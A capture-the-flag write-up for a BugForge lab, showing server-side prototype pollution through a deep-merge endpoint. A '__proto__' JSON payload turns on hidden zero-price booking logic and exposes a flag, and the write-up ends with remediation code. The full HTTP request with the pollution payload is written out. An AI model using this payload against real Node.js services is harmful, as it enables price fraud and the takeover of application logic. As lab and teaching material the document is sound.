Galaxy Dash: Server-Side Prototype Pollution
Overview
- Platform: BugForge
- Vulnerability: Server-Side Prototype Pollution → Price Bypass
- Key Technique: Exploiting vulnerable deep merge on organization settings endpoint to pollute
Object.prototype.dev, triggering hidden zero-price booking logic - Result: All bookings created at $0.00; flag revealed in invoice number field
Objective
Find the flag in the Galaxy Dash delivery management application (medium difficulty).
Initial Access
# Target Application
URL: https://lab-1775944835174-2v62ux.labs-app.bugforge.io
# Auth
POST /api/register — creates user + organization, returns JWT (HS256)
JWT payload: {id, username, organizationId}
Key Findings
-
Server-Side Prototype Pollution (CWE-1321) — The
PUT /api/organizationendpoint uses a vulnerable deep merge function (lodash.merge or equivalent) on the raw request body without sanitizing__proto__keys. Sending{"__proto__":{"dev":true}}pollutesObject.prototypeglobally on the server. -
Hidden Developer Logic Triggered via Polluted Prototype (CWE-471) — The booking creation handler reads
org.devto decide pricing. WhenObject.prototype.devis truthy (via pollution), the check passes for all objects, settingtotal_priceto 0 and replacing theinvoice_numberwith the flag.
Attack Chain Visualization
┌──────────────────────┐
│ PUT /api/organization│
│ Body includes: │
│ "__proto__": │
│ {"dev": true} │
└──────────┬───────────┘
│ Server deep merges req.body
│ Traverses __proto__ key
▼
┌──────────────────────┐
│ Object.prototype.dev │
│ = true (global) │
└──────────┬───────────┘
│ All objects now inherit dev=true
▼
┌──────────────────────┐
│ POST /api/bookings │
│ (normal booking) │
└──────────┬───────────┘
│ Server checks org.dev → truthy
▼
┌──────────────────────┐
│ total_price = 0 │
│ invoice_number = flag│
└──────────┬───────────┘
▼
┌──────────────────────┐
│ GET /api/invoices/:id│
│ → Flag revealed │
│ bug{76d9aJ5p...} │
└──────────────────────┘
Application Architecture
| Component | Path | Description |
|---|---|---|
| Auth | /api/register, /api/login, /api/verify-token |
JWT-based auth (HS256, no expiry) |
| Org Settings | GET/PUT /api/organization |
Organization config — vulnerable deep merge |
| Team Mgmt | /api/team, /api/team/:id |
Team member CRUD (roles: org_admin, viewer) |
| Locations | /api/locations |
22 delivery locations (Futurama-themed) |
| Services | /api/services |
4 delivery service tiers with price multipliers |
| Price Calc | POST /api/calculate-price |
Server-side price calculation (does NOT check dev flag) |
| Bookings | /api/bookings |
Booking CRUD — checks org.dev at creation time |
| Invoices | /api/invoices/:id |
Invoice display — where flag appears |
Exploitation Path
Step 1: Reconnaissance — Mapping the API
Registered an account and mapped the API surface. The application is an Express.js backend with React SPA frontend, using JWT auth (HS256) and SQLite. Key observations:
- Organization settings endpoint (
PUT /api/organization) accepts arbitrary JSON fields without error - Frontend source references a
devproperty on the organization object - Roles and permissions system (org_admin, viewer) with granular capabilities
Step 2: Dead End — Direct Mass Assignment of dev Field
Hypothesis: Setting "dev":true directly in the PUT body would persist and affect pricing.
PUT /api/organization HTTP/1.1
Content-Type: application/json
Authorization: Bearer <jwt>
{
"name": "biz",
"dev": true
}
Result: Server returned 200, but:
GET /api/organizationdid not include adevfield — the server whitelists stored fieldsPOST /api/calculate-pricereturned identical pricing (total: 7875)
Learning: The server accepts the field silently but does not persist it. Field whitelisting prevents direct mass assignment.
Step 3: Dead End — Testing dev Effect on Booking Creation
Hypothesis: Even if dev wasn’t visible in GET, perhaps the server stored it and only checked it during booking creation.
Created a new booking after the mass assignment attempt:
- Booking total_price: 22690.63 — identical to the first booking
- Invoice showed the same pricing
Learning: The dev field is definitively not stored via direct assignment. But its existence in frontend code is a strong signal that zero-price booking logic exists server-side — the question is how to trigger it.
Step 4: Prototype Pollution via __proto__
Hypothesis: The server uses a vulnerable deep merge (lodash.merge or similar) on req.body. Sending __proto__ in the JSON body will cause the merge to traverse up the prototype chain and set properties on Object.prototype.
PUT /api/organization HTTP/1.1
Content-Type: application/json
Authorization: Bearer <jwt>
{
"name": "biz",
"contact_email": "admin@biz.com",
"__proto__": {
"dev": true
}
}
Result: Server returned 200. The __proto__ key was not filtered — the deep merge traversed it and set Object.prototype.dev = true globally.
Step 5: Triggering the Zero-Price Logic
Created a normal booking after pollution:
POST /api/bookings HTTP/1.1
Content-Type: application/json
Authorization: Bearer <jwt>
{
"pickup_location_id": 1,
"delivery_location_id": 5,
"service_id": 2,
"package_weight": 25,
"package_dimensions": "30x30x30",
"description": "Test delivery",
"notes": "Standard delivery"
}
Result: Booking created with total_price: 0.
Step 6: Retrieving the Flag
GET /api/invoices/3 HTTP/1.1
Authorization: Bearer <jwt>
Response:
{
"invoice_number": "bug{76d9aJ5p5ra5zta2jBtuDUa8ox2uCLNG}",
"subtotal": "0.00",
"tax": "0.00",
"total": "0.00"
}
Flag / Objective Achieved
bug{76d9aJ5p5ra5zta2jBtuDUa8ox2uCLNG}
Key Learnings
-
Prototype pollution is a server-side vulnerability, not just client-side. When Node.js backends use vulnerable deep merge libraries (lodash.merge, hoek, etc.) on user-controlled input, attackers can modify
Object.prototypeglobally, affecting all subsequent object property lookups across the entire process. -
__proto__in JSON is parsed byJSON.parse(). Unlike JavaScript object literals where__proto__sets the actual prototype,JSON.parse('{"__proto__":{"x":1}}')creates a regular property named__proto__. However, vulnerable merge functions then traverse this property name and follow it toObject.prototype, completing the pollution. -
The signal was in the frontend code. The frontend code referenced
org.dev— a property that didn’t exist in any API response. This hinted at hidden server-side logic gated behind a property that wasn’t meant to be user-settable through normal means. -
calculate-pricevs booking creation divergence was the key clue. The price calculation endpoint did NOT checkorg.dev, but booking creation did. Testing the wrong endpoint (calculate-price) initially made it seem like thedevflag had no effect anywhere.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
Direct mass assignment "dev":true via PUT /api/organization |
200 OK but field not persisted | Server whitelists fields for storage — dev silently dropped |
Direct mass assignment "dev":true via POST /api/register |
Registration succeeded but org had no dev flag |
dev not passed through to org INSERT query |
Testing dev effect via calculate-price endpoint |
Identical pricing | calculate-price endpoint does not check org.dev — only booking creation does |
Tools Used
- Caido — HTTP proxy for intercepting and replaying requests
- Browser DevTools — Analyzing minified React bundle for
devreferences - curl — Direct API testing for prototype pollution payload
Remediation
1. Server-Side Prototype Pollution (CVSS: 9.8 - Critical)
CVSS Vector: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Issue: The server uses a vulnerable deep merge function on user-supplied JSON without sanitizing dangerous keys (__proto__, constructor, prototype). This allows attackers to modify Object.prototype, affecting all objects in the Node.js process — a complete compromise of server-side logic.
CWE Reference: CWE-1321 — Improperly Controlled Modification of Object Prototype Attributes (‘Prototype Pollution’)
Fix:
// BEFORE (Vulnerable)
const _ = require('lodash');
// Deep merge of raw user input into org settings
_.merge(orgSettings, req.body);
// AFTER (Secure) — Option 1: Sanitize dangerous keys
function sanitizeInput(obj) {
if (typeof obj !== 'object' || obj === null) return obj;
const clean = {};
for (const key of Object.keys(obj)) {
if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue;
clean[key] = sanitizeInput(obj[key]);
}
return clean;
}
_.merge(orgSettings, sanitizeInput(req.body));
// AFTER (Secure) — Option 2: Use Object.create(null) as merge target
const safeTarget = Object.create(null);
Object.assign(safeTarget, orgSettings);
_.merge(safeTarget, req.body);
// AFTER (Secure) — Option 3: Explicit field whitelist (best)
const allowedFields = ['name', 'contact_email', 'address', 'phone'];
const updates = {};
for (const field of allowedFields) {
if (req.body[field] !== undefined) updates[field] = req.body[field];
}
Object.assign(orgSettings, updates);
2. Hidden Developer Logic in Production (CVSS: 6.5 - Medium)
CVSS Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Issue: Production code contains a dev flag check that zeroes out pricing and embeds sensitive data (flag) in invoice numbers. Developer/debug logic should never be present in production builds.
CWE Reference: CWE-489 — Active Debug Code
Fix:
// BEFORE (Vulnerable)
if (org.dev) {
booking.total_price = 0;
booking.invoice_number = FLAG;
}
// AFTER (Secure)
// Remove dev-mode logic entirely from production code.
// If dev pricing is needed for testing, use environment-gated
// feature flags that cannot be influenced by user input:
if (process.env.NODE_ENV === 'development' && process.env.ENABLE_DEV_PRICING === 'true') {
booking.total_price = 0;
}
OWASP Top 10 Coverage
- A03:2021 — Injection — Prototype pollution is a form of injection where attacker-controlled keys modify the runtime behavior of server-side objects
- A04:2021 — Insecure Design — Hidden developer logic in production represents a design flaw; debug features should be environment-gated, not property-gated
- A08:2021 — Software and Data Integrity Failures — The deep merge accepts untrusted input without validation, allowing modification of core object behavior
References
- Server-Side Prototype Pollution (PortSwigger Research)
- Prototype Pollution in lodash.merge (Snyk)
- CWE-1321: Prototype Pollution
- CWE-489: Active Debug Code
- NodeJS Prototype Pollution — HackTricks
Tags: #prototype-pollution #nodejs #express #deep-merge #price-bypass #bugforge #server-side
Document Version: 1.0
Last Updated: 2026-04-11